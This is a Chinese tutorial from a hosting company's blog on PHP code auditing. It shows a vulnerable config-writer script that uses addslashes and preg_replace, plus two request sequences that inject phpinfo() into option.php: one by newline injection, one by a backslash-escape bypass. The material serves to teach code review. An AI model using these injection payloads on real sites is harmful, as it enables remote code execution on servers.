您好,登錄后才能下訂單哦!
這篇文章主要介紹了 PHP代碼審計的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
index.php
<?php $str = addslashes($_GET['option']); $file = file_get_contents('xxxxx/option.php'); $file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); file_put_contents('xxxxx/option.php', $file);
xxxxx/option.php
$option='test';
流程如下:
對傳入的option參數進行addslashes,比如有單引號'
,會變成\'
通過正則匹配xxxxx/option.php中的$option='xxx';
,將xxx的內容替換為經第一步處理的值
替換完成,將其寫入xxxxx/option.php。
場景: 用于寫入配置文件等。
先訪問:
?option=aaa';%0aphpinfo();//
經過addslashes后,$str值為 aaa\';%0aphpinfo();//
進行正則匹配并寫入文件,xxxxx/option.php的內容變為:
<?php $option='aaa\'; phpinfo();//'; ?>
再訪問:
?option=xxx
正則匹配時,會將兩個單引號里的內容即 aaa\
,替換為 xxx
,此時xxxxx/option.php的內容變為
<?php $option='xxx'; phpinfo();//'; ?>
最后訪問:/xxxxx/option.php
訪問:
?option=aaa\';phpinfo();//
經過addslashes后,$str為 aaa\\\';phpinfo();//
經過preg_replace正則匹配后,對\
做了轉義處理,xxxxx/option.php的內容變為:
<?php $option='aaa\\';phpinfo();//'; ?>
最后訪問:/xxxxx/option.php
感謝你能夠認真閱讀完這篇文章,希望小編分享的“ PHP代碼審計的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。